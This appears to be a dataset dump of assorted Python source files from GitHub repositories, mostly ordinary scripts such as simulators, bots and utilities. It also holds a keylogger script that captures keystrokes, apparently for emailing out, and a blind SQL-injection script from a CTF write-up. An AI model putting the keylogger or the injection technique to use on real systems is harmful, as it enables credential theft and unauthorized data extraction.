blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
5
133
path
stringlengths
2
333
src_encoding
stringclasses
30 values
length_bytes
int64
18
5.47M
score
float64
2.52
5.81
int_score
int64
3
5
detected_licenses
listlengths
0
67
license_type
stringclasses
2 values
text
stringlengths
12
5.47M
download_success
bool
1 class
93f95b90758458bb6b836e42bdcefe8d26986160
Python
yu45020/Aigis-WidgetBox
/Draw System/draw_trial.py
UTF-8
3,375
3.46875
3
[]
no_license
""" Simulate Aigis draw --- written for another interesting thing """ import numpy as np from time import time from functools import wraps from operator import itemgetter from collections import Counter, OrderedDict import multiprocessing as mp import pandas as pd def timeit(f): """ profiler print function ru...
true
c872da01dd57278490c3e291ad19f113beb82e14
Python
wang502/Toptal-API
/toptal/main.py
UTF-8
1,100
2.859375
3
[ "MIT" ]
permissive
from Toptal import Toptal, Item, Freelencer @click.command() @click.option('--newest', default=1, prompt='Find the newest engineering blog posts') @click.option('--search', prompt='Search engineering blog posts by keyword') @click.option('--topic', prompt='Search engineering blog posts by topic (backend, frontend, mob...
true
bc76fd3853625e1604c1767f9d5a871fce35f909
Python
MCV-2019-M1-Project/TEAM-8
/distance.py
UTF-8
1,947
3.015625
3
[]
no_license
from scipy.spatial import distance import numpy as np # Each measure should take two lists of histograms # and return a final score (as a single number) def euclidean(ls, rs): result = sum(distance.euclidean(l, r) for l, r in zip(ls, rs)) return result def l_one(ls, rs): result = sum(distance.cityblock...
true
1b15311d13f8608d035ac117052cb6fd79be736c
Python
alexanderg99/HabitTracker
/main.py
UTF-8
2,046
2.75
3
[]
no_license
# This is a sample Python script. import requests import datetime TOKEN = #ENTER TOKEN ID = #ENTER YOUR ID USERNAME = #ENTER YOUR USERNAME headers = { "X-USER-TOKEN":TOKEN } def formatdate(): year = str(datetime.datetime.now().year) month = str(datetime.datetime.now().month) if len(month)<2: mo...
true
569a91698ff646db151a668b2f1d5b223aa979e4
Python
shirayu/ssgnc-python-legacy
/ssgnc.py
UTF-8
2,865
2.6875
3
[]
no_license
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Wrapper which operates "ssgnc", Google N-gram search system """ __author__ = 'Yuta Hayashibe' __version__ = "" __copyright__ = "" __license__ = "GPL v3" import subprocess ORDER_OPTION = { "FLAG" : "--ssgnc-order", "UNORDERED" : "UNORDERED", ...
true
62b1d308f48f2141e882a723b3f27c018a6d875d
Python
ericvo215/100DayPythonChallenge
/day-51-Internet-Speed-Twitter-Bot/main.py
UTF-8
3,123
2.671875
3
[]
no_license
import os from selenium import webdriver import time from selenium.webdriver.common.keys import Keys from selenium.common.exceptions import NoSuchElementException PROMISED_DOWN = 75 PROMISED_UP = 75 CHROME_DRIVER_PATH = "/Users/ericv/Documents/chromedriver_win32/chromedriver.exe" TWITTER_EMAIL = os.environ["T...
true
4778cc162345fcd1def8fa84be6e3e34e10af3d8
Python
VakinduPhilliam/Python_Stream_Mechanics
/Python Stream Networking_ProactorEventLoop.py
UTF-8
938
2.90625
3
[]
no_license
# Python Stream Networking # Streams are high-level async/await-ready primitives to work with # network connections. # Streams allow sending and receiving data without using callbacks # or low-level protocols and transports. # Event Loop # The event loop is the core of every asyncio application. # Event loop...
true
45fa9e6a7eb0834f1fea31eff06924b0e715bae2
Python
Mstfkmlbsbdk/Class5-Python-Module-Week4
/my_dice01.py
UTF-8
268
3.578125
4
[]
no_license
def rollDice(repetitions_number, W_number): import random dice = [0, 0, 0, 0, 0, 0] for i in range(repetitions_number): x = random.randrange(1, 7) dice[x-1]+=1 percentage= dice[W_number-1]/repetitions_number*100 return percentage
true
3726dc3b18cab6dc2b5d915cd4e6f003612fa6c8
Python
dygksquf5/python_study
/python_mini_Project/instagram_auto_like_comments/dist/yosuniiiii_insta_GUI.app/Contents/Resources/yosuniiiii_insta_GUI.py
UTF-8
7,324
2.671875
3
[]
no_license
import os from tkinter import * import tkinter.ttk as ttk import tkinter.messagebox as message from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from selenium.webdriver.support.ui ...
true
0d618428e880b2d3cdc3f9b09206322f7568b548
Python
stevenshan/slackbot-realfriends
/bot/views/common.py
UTF-8
1,614
2.515625
3
[]
no_license
import os import requests def get(dictionary, *keys): try: for key in keys: dictionary = dictionary[key] return dictionary except (KeyError, TypeError): return None def getToken(bot=False): if bot: return os.environ.get("BOT_ACCESS_TOKEN") else: retu...
true
44be1b0ac7c5640fa9fe148ee4e67bf1e155d4d2
Python
eanopolsky/advent-of-code-2019
/17/solve1.py
UTF-8
973
2.671875
3
[]
no_license
#!/usr/bin/python3 import intcodevm with open('myinput.txt') as f: memory = [int(x) for x in f.readline().split(",")] myvm = intcodevm.intcodevm(memory = memory, name = "ascii") myfb = intcodevm.asciifb() myvm.setoutputfunc(myfb.receiveint) myvm.run() myfb.render() alignparams = [] for pixelcoords in myfb.screen...
true
a4726076585d4ed2fea4228d8546dd2d75e857cd
Python
SaadIqbal7/Three-Address-Code-Generator-In-Python
/inter/_not.py
UTF-8
494
3.203125
3
[]
no_license
from inter.logical import Logical from lexer.token import Token from inter.expr import Expr """ Class for NOT logical operator. NOT is a unary operator but has a lot in common from logical class so we make NOT inherit from Logical """ class NOT(Logical): def __init__(self, token: Token, expr2: Expr): super().__ini...
true
f6e0d2dd17b9721a226714d82307e485c66b91cb
Python
clearLoveKang/myPython
/python/spider/spider-cookie2.py
UTF-8
1,260
2.546875
3
[]
no_license
from urllib import request, parse from http import cookiejar # ๅˆ›ๅปบๅฎžไพ‹ cookie = cookiejar.MozillaCookieJar() # ่ฏปๅ–ไฟๅญ˜็š„cookieๆ–‡ไปถ,ไธ€ๅค„ไฟๅญ˜ๅคšๅค„ไฝฟ็”จ cookie.load('cookie.txt', ignore_expires=True, ignore_discard=True) # ็”Ÿๆˆcookie็ฎก็†ๅ™จ cookie_handler = request.HTTPCookieProcessor(cookie) # ๅˆ›ๅปบhttp่ฏทๆฑ‚็ฎก็†ๅ™จ http_handler = request.HTTPHandler(...
true
5d91edbd8246bb1716d3a20a34df3cea3ed968f6
Python
panzy25/ForestExplorer
/model/model_SNN.py
UTF-8
1,916
2.9375
3
[]
no_license
import matplotlib import torch import torch.nn as nn import numpy as np import csv import matplotlib.pyplot as plt from torch.autograd import Variable from matplotlib import cm # Hyper Parameters input_size = 78 output_size = 1 num_epochs = 1000000 lr = 0.000006 hidden_size = 78 # Toy Dataset train_y...
true
6187d5d832c2d149af0f51986d2c2e85b6451ba6
Python
Miguel-Devpy/Orientada-a-Objetos-Parte-1
/main.py
UTF-8
375
2.921875
3
[]
no_license
import carro, moto uno_vermelho = carro.Carro("vermelho", "Flex", 1.0, 4) uno_vermelho.ligar() uno_vermelho.abastecer(50) uno_vermelho.abastecer(10) print(f"A quantidade de combustivel do carro vermelho รฉ : {uno_vermelho.qtd_combustivel}") moto_vermelho = moto.Moto("vermelho","gasolina",1.0, 2) moto_vermel...
true
fc93ecaefc51d34eaf98a5e9abd58236d55fa653
Python
tentactical/learningpython
/homiscrapes_run.py
UTF-8
2,432
2.890625
3
[]
no_license
def homiparse_with_comments(): import json, requests url='http://homicide.latimes.com/api/homicide/all/' resp = requests.get(url=url) data = json.loads(resp.text) with open("extraction.csv",'w') as f: for item in data['geojson']['features']: ### this is orignal write statement ### uncomment to reproduce th...
true
c7b59833b63b8654a8fcede9674a0b89a44ba3b9
Python
Hoff97/detext
/server/detext/tests/test_ml.py
UTF-8
992
2.515625
3
[]
no_license
from django.test import TestCase from detext.server.ml.models.mobilenet import MobileNet, TestTimeDropout import torch class MlTest(TestCase): def test_mobilenet_can_predict_uncertainty(self): model = MobileNet(features=20, estimate_variane=True) inp = torch.randn(1, 3, 224, 224, device="cpu") ...
true
020da9d1d30bb8724a953a6835ae1f3287569328
Python
vebyast/vebyast-quote-bot
/vebyastquotebot/throwingargumentparser.py
UTF-8
835
3.140625
3
[]
no_license
import argparse # code from https://stackoverflow.com/a/14728477 # a subclass of argparse that throws an error when it encounters a problem # instead of completely exiting. This makes it suitable for use internally # instead of to drive the argument parsing of a CLI executable. class ArgumentParserError(Exception): ...
true
e16752afed8e432b88c60880c28324a185377aba
Python
karenlorhana/onlyCodes
/Listas de Exercรญcios/Estrutura Condicional e Lรณgica/salarioBonus.py
UTF-8
157
2.859375
3
[]
no_license
vendedor=input() salFixo=float(input()) totalVendas=float(input()) comissao=totalVendas*0.15 salTotal=salFixo+comissao print("TOTAL =", "R$","%.2f"%salTotal)
true
76ba935a191c6be9d9362c4cfc0766cf7535a36b
Python
tilia-hb/oo-practice-melons
/harvest.py
UTF-8
3,127
3.265625
3
[]
no_license
############ # Part 1 # ############ class MelonType(object): """A species of melon at a melon farm.""" def __init__(self, code, first_harvest, color, is_seedless, is_bestseller, name): """Initialize a melon.""" self.code = code self.first_harvest = first_harvest self.color = color self.is_seedl...
true
ef0bf077f921a1218a0b1090ca1ef084413dd844
Python
salpreh/clinlog
/clinlog/Logger.py
UTF-8
12,884
3.5
4
[ "MIT" ]
permissive
from colorama import init, Fore, Back, Style class Logger(object): """ Class to log styled messages to stdout. Attributes: log_level(str|num): Verbosity level. Valid values (class properties avaliable): - debug or `0` (default) - info or `1` - war...
true
51f8d54dd5c0c56fab4da15cfa6dd5970457fb16
Python
fouad20-meet/YL1-201819
/lab4_1.py
UTF-8
281
4.0625
4
[]
no_license
class Rectangle(object): def __init__(self, width, height): self.width = width self.height = height def area(self): return self.width * self.height def perimeter(self): return (self.width + self.height)*2 rec1 = Rectangle(5,10) print(rec1.area()) print(rec1.perimeter())
true
f9f933f69cf6ecc672667db0de004eed95ef24f8
Python
iamani123/ML1819--task-104--team-15
/ThreeClassification_Comparison.py
UTF-8
4,321
2.5625
3
[]
no_license
import numpy as np import datetime from sklearn.cross_validation import train_test_split import matplotlib.pyplot as plt from sklearn.neighbors import KNeighborsClassifier from sklearn.linear_model import LogisticRegression X=np.genfromtxt('DataSetLetter.csv', delimiter = ',',usecols=(1,2,3,4,5,6,7,8,9,10,11,12,13,14,1...
true
da5cd6f81afc6db28695a3da4db2a057c8ecff0b
Python
ANBU1305/anbu
/oddinterval.py
UTF-8
86
3.3125
3
[]
no_license
a=int(input()) b=int(input()) for i in range(a,b,2): if(a%2==0): print(i);
true
e49245446428b82d138137be624ccec73912a281
Python
joereinhardt/Janssen-Rollins-ABM-Replication
/appendixA.py
UTF-8
39,403
2.71875
3
[]
no_license
# -*- coding: utf-8 -*- """ Created on Sat Sep 3 12:38:36 2016 @author: Joe """ import random import math import sys import numpy as np import pandas as pd import matplotlib.pyplot as plt from mesa import Model, Agent from itertools import product from mpl_toolkits.mplot3d import * """ Reproduction: Set the corres...
true
d04ac991f5c03e32ba4e69ff59eddeaca8199f8a
Python
techdragon/historia
/historia/pops/enums/pop_class.py
UTF-8
580
2.65625
3
[ "MIT" ]
permissive
from historia.enums.dict_enum import DictEnum class PopClass(DictEnum): "Social standing of each Pop" __exports__ = ['title', 'color'] # Live off rent and taxes # live in cities aristocracy = { 'title': 'Aristocracy', 'color': 'purple' } # Trades goods and turns goods int...
true
fd8dfb11124bff833d079d65101544cd2bddb381
Python
jgehrcke/gipc
/examples/serverclient.py
UTF-8
1,819
3.03125
3
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
# -*- coding: utf-8 -*- # Copyright 2012-2021 Dr. Jan-Philip Gehrcke. See LICENSE file for details. """ gipc example: TCP communication between a server in the parent process and multiple clients in a child process: 1) gevent's ``StreamServer`` is started in a greenlet within the initial (parent) process. For e...
true
9c7f94dec6fbe9bc102f83ee26c80c5628796c0d
Python
JDIS/UnitedCTF-2020
/challenges/web/sqli/writeup3.py
UTF-8
1,187
3.421875
3
[]
no_license
#!/usr/bin/python3 # -*- encoding: utf-8 -*- import requests URL = "http://challenges.unitedctf.ca:18000/challenge3.php" HEADERS = {} query = "' OR ASCII(SUBSTRING(flag, {}, 1)) > {} -- " # Placeholders are for Position and ascii value respectively validate = "' OR flag='{}" def find_next_letter(index): resp = r...
true
db17f3138951df492192cd9d661ca12ad685203d
Python
acatesby/Gatton-Computer-Science-Club
/Triangular, Hexagonal, and Pentagonal/HexPentTri.py
UTF-8
172
2.875
3
[]
no_license
import math c = 2 isTrue = True while True: numH = c * (2 * c - 1) if (((24 * numH + 1) ** 0.5) + 1) % 6 == 0: isTrue = False print(numH) break else: c += 1
true
97e91cbf69788aece1ae3c994007942cb90d5f41
Python
onaio/kaznet-web
/kaznet/apps/main/tests/serializers/test_tasklocation.py
UTF-8
1,332
2.625
3
[ "Apache-2.0" ]
permissive
""" Test module for TaskLocationSeriliazer """ from model_mommy import mommy from kaznet.apps.main.serializers import TaskLocationSerializer from kaznet.apps.main.tests.base import MainTestBase class TestTaskLocationSerializer(MainTestBase): """ Test the TaskLocationSerializer """ def setUp(self): ...
true
f99f3398369948c091c6d598aadd0a78ba0b7749
Python
taller-de-programacion-2/rest-python-flask
/src/auth/auth_exception.py
UTF-8
302
2.65625
3
[ "MIT" ]
permissive
class UserNotFoundException(Exception): def __init__(self, message): self.msg = message class UserExistsException(Exception): def __init__(self, message): self.msg = message class AccessDeniedException(Exception): def __init__(self, message): self.msg = message
true
36bf00449809f8fcb5f3e6c9ffad0bfe4ab2566c
Python
danae/hku-csd3-allpass-filters
/filter.py
UTF-8
1,372
3.28125
3
[]
no_license
from collections import OrderedDict from time import time # Filter class class Filter: # Constructor def __init__(self, function): self.function = function # Apply the filter to an input buffer and return the output buffer def __call__(self, input_buffer): # Create the output buffer output_buffer...
true
d777139759d9e58d3b30cca39171095e588ff6fa
Python
anhuafeng123/python
/้“ถ่กŒ็ณป็ปŸ2.py
UTF-8
772
3.484375
3
[]
no_license
accond1 = 123456789 pwd1 = 'woshishuge' money1 = 1000 nom = 0 while nom <=4: accond = int(input("่ฏท่พ“ๅ…ฅ่ดฆๅท")) pwd = input("่ฏท่พ“ๅ…ฅๅฏ†็ ") if accond == accond1 and pwd == pwd1: print("่ดฆๅทๅฏ†็ ่พ“ๅ…ฅๆˆๅŠŸ") mode = int(input("่ฏท้€‰ๆ‹ฉ๏ผš1ๅญ˜ 2ๅ–")) if mode == 2: money = int(input("่ฏท่พ“ๅ…ฅ้‡‘้ข")) if m...
true
c5bea72a8c2d0446856036a12cad09f84eda62ab
Python
StormInside/Python-Alarm-Server-Play-Sound-Controll-from-Arduino-NodeMCU-
/alert_server Without Command Line.pyw
UTF-8
926
2.578125
3
[]
no_license
from http.server import BaseHTTPRequestHandler, HTTPServer from pygame import mixer class HttpProcessor(BaseHTTPRequestHandler): def do_GET(self): if(self.headers["User-Agent"]=="ESP8266HTTPClient"): if(self.path == "/voice_alert"): voiceAlert() elif(self.path == ...
true
64ecba6be059126e17d005bc251929d95bfce979
Python
Alexis-benoist/CaTeX
/catex/cli.py
UTF-8
870
2.515625
3
[ "Apache-2.0" ]
permissive
import click @click.command() @click.option('-i', '--input', multiple=True, type=click.Path(readable=True), help='Paths of the .tex to merge') @click.option('-i', '--input', multiple=True, type=click.Path(readable=True), help='Paths of the .tex to merge') @click.option('-o', '--output', de...
true
b958e59fc675399213273ebdc71a004985f2b657
Python
mchels/FolderBrowser
/custom_colormap.py
UTF-8
2,448
3.09375
3
[ "MIT" ]
permissive
import matplotlib.pyplot as plt import matplotlib.colors as mcolors import numpy as np def get_colormap(cmap_name, lims): if cmap_name in ('light symmetric', 'dark symmetric', 'symmetric'): n_points = 256 if cmap_name in ('light symmetric', 'symmetric'): org_cmap = plt.get_cmap('RdBu_r'...
true
7337bf3f2a3b1b638c77085b5ce14040bb9ab869
Python
MikeSchincariol/UWPCE-InternetProgramming-echo_sockets
/list_services.py
UTF-8
1,522
3.578125
4
[]
no_license
import sys import socket def list_services(*ports): """ :param ports: If no ports are listed, provides services names for ports 0 - 1023. If a single port is provided, only the service on that port will be found. If 2, comma separated ports, are provided, then, all service n...
true
d680720e223b8650455de48bb305dcf41d4486fc
Python
wojtaszg/Emedia
/projekt_emedia.py
UTF-8
11,873
3.046875
3
[]
no_license
import struct import cv2 import os import numpy as np import matplotlib.pyplot as plt from PIL import Image class Bmp: def __init__(self, obraz): """ :param obraz: Konstruktor klasy. Odczytuje informacje zawarte w nagล‚รณwku pliku i DIB oraz zapisuje je do atrybutรณw klasy ...
true
bfa64aa6d21d8d9448a6bc94205a425d76df2eff
Python
skotcarruth/pony
/pony/teaser/forms.py
UTF-8
1,649
2.5625
3
[]
no_license
import calendar import locale from django import forms from pony.teaser.models import TeaserSignup LEAP_YEAR = 2012 # Ensures that we allow day 29 in February locale.setlocale(locale.LC_ALL, 'en_US.UTF-8') class TeaserSignupForm(forms.ModelForm): """Form for entering teaser signup info.""" birthday_month ...
true
3f036cd1e9bcc68f5ddcee062b73b3c49351c1f1
Python
jpn--/pines
/pines/streamers.py
UTF-8
354
3.125
3
[ "MIT" ]
permissive
class double_stream: def __init__(self, filename, mode='w'): self.file = open(filename, mode) def write(self, *args): self.file.write(*args) print(*args, end="") def flush(self): self.file.flush() def close(self): self.file.close() def __enter__(self): pass def __exit__(self, exc_type, exc_val, exc_...
true
0975821db492c928b5efdc48007f4c8e70762a14
Python
thevorpalblade/tassle
/run_zulf_sim.py
UTF-8
1,113
2.890625
3
[ "MIT" ]
permissive
# Run a simulation in a CASPEr ZULF scenario import numpy as np from axion_generator import Axion def run_sim(mass, start, stop, sampling_rate): """Run sim for single mass. """ axion = Axion(mass=mass) return axion.do_fast_axion_sim(start, stop, ...
true
aee45178785d4f70ce391ba28d7ec8b2b63498ac
Python
fishszh/Galaxy-Evolution
/source/base_framework.py
UTF-8
5,540
2.5625
3
[]
no_license
import tensorflow as tf import matplotlib.pyplot as plt import os import glob from gen_gif import gen_gif class Config: def __init__(self): self.tempro_steps = 20 # temporal frame number to train self.tempro_steps_interval = 2 # temporal frame interval self.tempro_steps_gen = 30 # tempor...
true
9b991a436118fe8c7cec22a02e9d3911d5f928a4
Python
ChrisTM/next-crons
/cronjob.py
UTF-8
3,311
3.234375
3
[ "MIT" ]
permissive
import re from datetime import datetime, timedelta from fieldparsers import Parse class CronJob(object): def __init__(self, line): """Create a cronjob from a cronjob string""" # matches five fields separated by whitespace and then everything else # (the command) field = r'([\w\d,*/...
true
d13007f10e9bbfba2a1f1f4a8dcb530b35048b69
Python
geniscuadrado/Crafting-Test-Driven-Software-with-Python
/Chapter10/src/contacts/utils.py
UTF-8
108
3.015625
3
[ "MIT" ]
permissive
def sum1(a: int, b: int) -> int: return a + b def sum2(a: int, b: int) -> int: return sum((a, b))
true
3c146f8d2b6f4731f07160928dd6b1451d0b2a2a
Python
jiyabing/learning
/ๅผ€็ญ็ฌ”่ฎฐ/pythonๅŸบ็ก€้ƒจๅˆ†/day21/code/myinteger.py
UTF-8
541
4.1875
4
[]
no_license
#ๆญค็คบไพ‹็คบๆ„abs(obj)ๅ‡ฝๆ•ฐ็š„้‡ๅ†™ๆ–นๆณ•obj.__abs__()ๆ–นๆณ•็š„ไฝฟ็”จ class Myinteger: def __init__(self,value): self.data = value def __repr__(self): return 'Myinteger(%d)' %self.data def __abs__(self): if self.data < 0: return Myinteger(-self.data) return Myinteger(self.data) def __len__(self): '''len(x)ๅ‡ฝๆ•ฐๅช่ƒฝ่ฟ”ๅ›žๆ•ดๆ•ฐๅ€ผ๏ผŒๅ› ๆญคๆญคๆ–นๆณ•ไธ่ƒฝ่ฟ”ๅ›žๅญ—็ฌฆไธฒ...
true
7d9ed4ea1c6cdf76a126559bac1506e6f2daff6b
Python
zedwarth/Project-Euler
/problem-025/25
UTF-8
728
4.5
4
[]
no_license
#!/usr/bin/env python3 # Project Euler - Problem 25 - http://projecteuler.net class Fib: '''Iterator that will yield the entire Fibonacci series; if you'd only give it the chance''' def __init__(self): pass def __iter__(self): self.a = 1 self.b = 1 self.count = 1...
true
ab7eecdaf8f769eee45e0db9bdba7fd16e30dcda
Python
xieqing0428/python_helloworld
/section_i/chapter_05/exercise_05_01.py
UTF-8
747
3.921875
4
[]
no_license
# -*- coding:utf-8 -*- """ @author: Alessa0 @file: exercise_05_01.py @time: 2019-01-15 17:21 5-1 ๆกไปถๆต‹่ฏ•๏ผš ็ผ–ๅ†™ไธ€็ณปๅˆ—ๆกไปถๆต‹่ฏ•๏ผ›ๅฐ†ๆฏไธชๆต‹่ฏ•ไปฅๅŠไฝ ๅฏนๅ…ถ็ป“ๆžœ็š„้ข„ๆต‹ๅ’Œๅฎž้™…็ป“ๆžœ้ƒฝๆ‰“ๅฐๅ‡บๆฅใ€‚ ไฝ ็ผ–ๅ†™็š„ไปฃ็ ๅบ”็ฑปไผผไบŽไธ‹้ข่ฟ™ๆ ท๏ผš car = 'subaru' print("Is car == 'subaru'? I predict True.") print(car == 'subaru') ใ€€ print("\nIs car == 'audi'? I predict False.") print(car == 'audi') ่ฏฆ็ป†็ ”็ฉถ...
true
62643bdba2ca151c771ba3f790909c54ca6babff
Python
tomjingang/data-science
/Chapter 2 custom visualization hard.py
UTF-8
4,914
3.484375
3
[]
no_license
# A challenge that users face is that, for a given y-axis value (e.g. 42,000), # it is difficult to know which x-axis values are most likely to be representative, # because the confidence levels overlap and their distributions are different # (the lengths of the confidence interval bars are unequal). One of the s...
true
3a042db689a089fd2c8aded62f9736b378e8ed3e
Python
Aiyane/aiyane-LeetCode
/1-50/ๆœ็ดขๆ’ๅ…ฅไฝ็ฝฎ.py
UTF-8
1,293
3.96875
4
[]
no_license
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # ๆœ็ดขๆ’ๅ…ฅไฝ็ฝฎ.py """ ็ป™ๅฎšไธ€ไธชๆŽ’ๅบๆ•ฐ็ป„ๅ’Œไธ€ไธช็›ฎๆ ‡ๅ€ผ๏ผŒๅœจๆ•ฐ็ป„ไธญๆ‰พๅˆฐ็›ฎๆ ‡ๅ€ผ๏ผŒๅนถ่ฟ”ๅ›žๅ…ถ็ดขๅผ•ใ€‚ๅฆ‚ๆžœ็›ฎๆ ‡ๅ€ผไธๅญ˜ๅœจไบŽๆ•ฐ็ป„ไธญ๏ผŒ่ฟ”ๅ›žๅฎƒๅฐ†ไผš่ขซๆŒ‰้กบๅบๆ’ๅ…ฅ็š„ไฝ็ฝฎใ€‚ ไฝ ๅฏไปฅๅ‡่ฎพๆ•ฐ็ป„ไธญๆ— ้‡ๅคๅ…ƒ็ด ใ€‚ ็คบไพ‹ 1: ่พ“ๅ…ฅ: [1,3,5,6], 5 ่พ“ๅ‡บ: 2 ็คบไพ‹ 2: ่พ“ๅ…ฅ: [1,3,5,6], 2 ่พ“ๅ‡บ: 1 ็คบไพ‹ 3: ่พ“ๅ…ฅ: [1,3,5,6], 7 ่พ“ๅ‡บ: 4 ็คบไพ‹ 4: ่พ“ๅ…ฅ: [1,3,5,6], 0 ่พ“ๅ‡บ: 0 """ """ ๆ€่ทฏ๏ผšไบŒๅˆ†ๆณ•๏ผŒๆณจๆ„ๅณ่พนไธ้œ€่ฆๅ‡1 """ __author__ = 'Aiyane' class S...
true
ff787e3d212b31c9ff03eb1a6a669b72cdf8811d
Python
gp-learning/Python_educative_assignment
/LC20.Valid Parentheses.py
UTF-8
373
3.3125
3
[]
no_license
def isValid( s): """ :type s: str :rtype: bool """ if s == "": return True elif ("{}" in s): return isValid(s.replace("{}", "")) print(s) elif ("[]" in s): return isValid(s.replace("[]", "")) elif ("()" in s): return isValid(s.replace("()", "")) ...
true
e6aabde5b068e9ab4e358e066eaed6718080c346
Python
20spencerbutler/towerdefense
/Projectile.py
UTF-8
2,770
3.265625
3
[]
no_license
from pygame.sprite import * import math class Projectile(pygame.sprite.Sprite): def __init__(self, _posX, _posY, _damage, _appearance, _movementSpeed, _effects): # "posX" and "posY" represent the position of the projectile # "effects" is a dictionary super().__init__() self.posX = ...
true
c799108b53ff6dff9bdc06f67349303072d0c783
Python
toshio-shiratori/python-test
/mecab1/test2.py
UTF-8
1,367
2.703125
3
[]
no_license
import MeCab tokenizer = MeCab.Tagger('-d /var/lib/mecab/dic/mecab-ipadic-neologd') sentence = 'ๆœ้ก”' # print(tokenizer.parse(sentence)) node = tokenizer.parseToNode(sentence) while node: # ๅ่ฉžใฎใฟ่กจ็คบ if 36 <= node.posid <=67: print('-----ๅฝขๆ…‹็ด ใฎๆ–‡ๅญ—ๅˆ—ๆƒ…ๅ ฑ') print(node.surface) print('-----CSVใง่กจ่จ˜ใ•ใ‚ŒใŸ็ด ...
true
bfdf3871dd1e45b97476f0387f74d13c31392d34
Python
eechoo/Algorithms
/LeetCode/GasStation.py
UTF-8
1,252
3.875
4
[]
no_license
#!/usr/bin/python ''' There are N gas stations along a circular route, where the amount of gas at station i is gas[i]. You have a car with an unlimited gas tank and it costs cost[i] of gas to travel from station i to its next station (i+1). You begin the journey with an empty tank at one of the gas stations. Return t...
true
94c9e541f643edec714c8af4e4fc229d48c42ba7
Python
maciejrek/boxesTask
/boxes.py
UTF-8
2,533
3.34375
3
[]
no_license
from typing import List, Dict box_sizes = [3, 6, 9] def get_number_of_inner_boxes(order_size: int) -> int: """ Number of inner boxes to use. Depends on the order size (increases by 1 every 9 items) :param order_size: Size of the order :return: Number of boxes required for given order size """...
true
21b812d7c1af41614595dd03d27907d7d4811e79
Python
hl943/Cornell-Repository-hl943
/CS4780/project/Donald_Trump_tweet_classifier/project 6.py
UTF-8
12,610
2.515625
3
[]
no_license
# -*- coding: utf-8 -*- """ Created on Sun Dec 1 23:40:15 2019 @author: guy """ import numpy as np import pandas as pd import datetime import re from sklearn.model_selection import train_test_split, ShuffleSplit, cross_val_score from nltk.corpus import stopwords from nltk.stem import PorterStemmer impo...
true
e8bdd9278ccfa452a198d600a95648c7c9e4fe06
Python
imdonnie/GEO-HW2
/ref/ref2/map_matching.py
UTF-8
4,206
3.28125
3
[]
no_license
# Helps to calculate the direction in degrees import math # Standard python package for data manipulation import pandas as pd # Python packages for handling geo objects and calculating distances from shapely import wkt from shapely.geometry import Point from shapely.ops import nearest_points def calculate_fast_match...
true
cd4fab34dc3348b34ad1b66839250fe10a444e93
Python
andreafasolino/eXkeylogger
/src/keylogger.pyw
UTF-8
1,570
2.828125
3
[]
no_license
from pynput.keyboard import Listener from threading import Thread import email_send from time import sleep #string which will contain all the pressed keys ( to be send by email ) input_string = '' def log_keystroke(key): global input_string pressed = str(key).replace("'", "") #check if a "special" ke...
true
a7834402fd38a57732c0d929f059b41376dc0227
Python
orty19/School-orderer
/main.py
UTF-8
3,652
2.84375
3
[]
no_license
import names from random import * from print_dict import pd from print_dict import format_dict import sortedict from time import sleep mode = input('W or R? ') mode = mode.lower() system = {} time = '' if mode == 'w': full = '' file = open('NT.txt','w') amount = int(input('class amount? ')) for clas i...
true
8f8bcec20028d11347fc7802d704ef576a41df8f
Python
sssssseven/competition_tc
/10-15/distributed_server.py
UTF-8
1,547
2.625
3
[]
no_license
# ่ดŸ่ดฃๅˆ†ๅ‘ๅ•†ๅœบid from multiprocessing.managers import BaseManager import queue import pymysql import time task_queue = queue.Queue() result_queue = queue.Queue() def t(): return task_queue def r(): return result_queue class QueManager(BaseManager): pass if __name__ == '__main__': # ๆณจๅ†Œ้˜Ÿๅˆ— QueManager....
true
b5c76b80bdcc045604707373b825be2b665be20d
Python
MatthewSwart/ScriptingCollege
/Week1/target.py
UTF-8
566
3.0625
3
[]
no_license
from graphics import * win = GraphWin("Target practice", 400, 400) centre = Point(200, 200) centre.draw(win) #win.getMouse() tar1 = Circle(Point(200, 200), 100) tar1.setFill("white") tar1.draw(win) win.getMouse() tar2 = Circle(Point(200, 200), 80) tar2.setFill("black") tar2.draw(win) win.getMouse() tar3 = Circle(P...
true
9f0fa4dc197a9a8df7c9bfcbc2eecda7740e072d
Python
dkyopwa/test_merc
/goo.py
UTF-8
1,199
2.78125
3
[]
no_license
from base_page import BasePage from goo_locators import GooLocators from selenium.webdriver.common.keys import Keys class Goo(BasePage, GooLocators): """ google page class """ def check_page(self): """ Check page for ready to use """ if self.is_element_visible(self.LOGO) and \ self...
true
b1e14ac4f4faecbc063f4a5c92459f7dbe9a9e71
Python
Aasthaengg/IBMdataset
/Python_codes/p03087/s383862757.py
UTF-8
904
2.828125
3
[]
no_license
import sys read = sys.stdin.buffer.read readline = sys.stdin.buffer.readline readlines = sys.stdin.buffer.readlines input_n = lambda: int(readline()) input_nn = lambda: map(int, readline().split()) input_s = lambda: readline().rstrip().decode('utf-8') input_ss = lambda: readline().rstrip().decode('utf-8').split() d...
true
8591a8c483d79a8b912cc213e97e38692e5eb368
Python
hackersanddesigners/HDSA2015
/bots/fembot.py
UTF-8
1,223
3.5
4
[]
no_license
## Run this script as bot with following command: #cat bot | python -u ircpipebot.py --server botnet.local --channel "#botnet" --nickname fembot | python -u fembot.py > bot # make sure you have the fifo-file bot (command to create: mkfifo bot) + ircpipebot.py in the same folder import sys # infinite loop that takes ...
true
4633a40bb41e8126468ac16e64d9f182161b8e0b
Python
dalinvip/pytorch_word2vec_process
/script_for_sentence_classification/handle_corpus_stastic_sorted_1.py
UTF-8
7,237
2.953125
3
[]
no_license
# @Author : bamtercelboo # @Datetime : 2018/1/18 9:57 # @File : handle_corpus_stastic_sorted.py # @Last Modify Time : 2018/1/18 9:57 # @Contact : bamtercelboo@{gmail.com, 163.com} """ FILE : handle_corpus_stastic_sorted.py FUNCTION : after handle_corpus.py, data stastic and context n-gram sorted by the freque...
true
b1690b1b55a3200e2c860fd3dc567f458bb6e120
Python
MisterZhouZhou/pythonLearn
/process/taskManagerT.py
UTF-8
2,829
2.90625
3
[ "Apache-2.0" ]
permissive
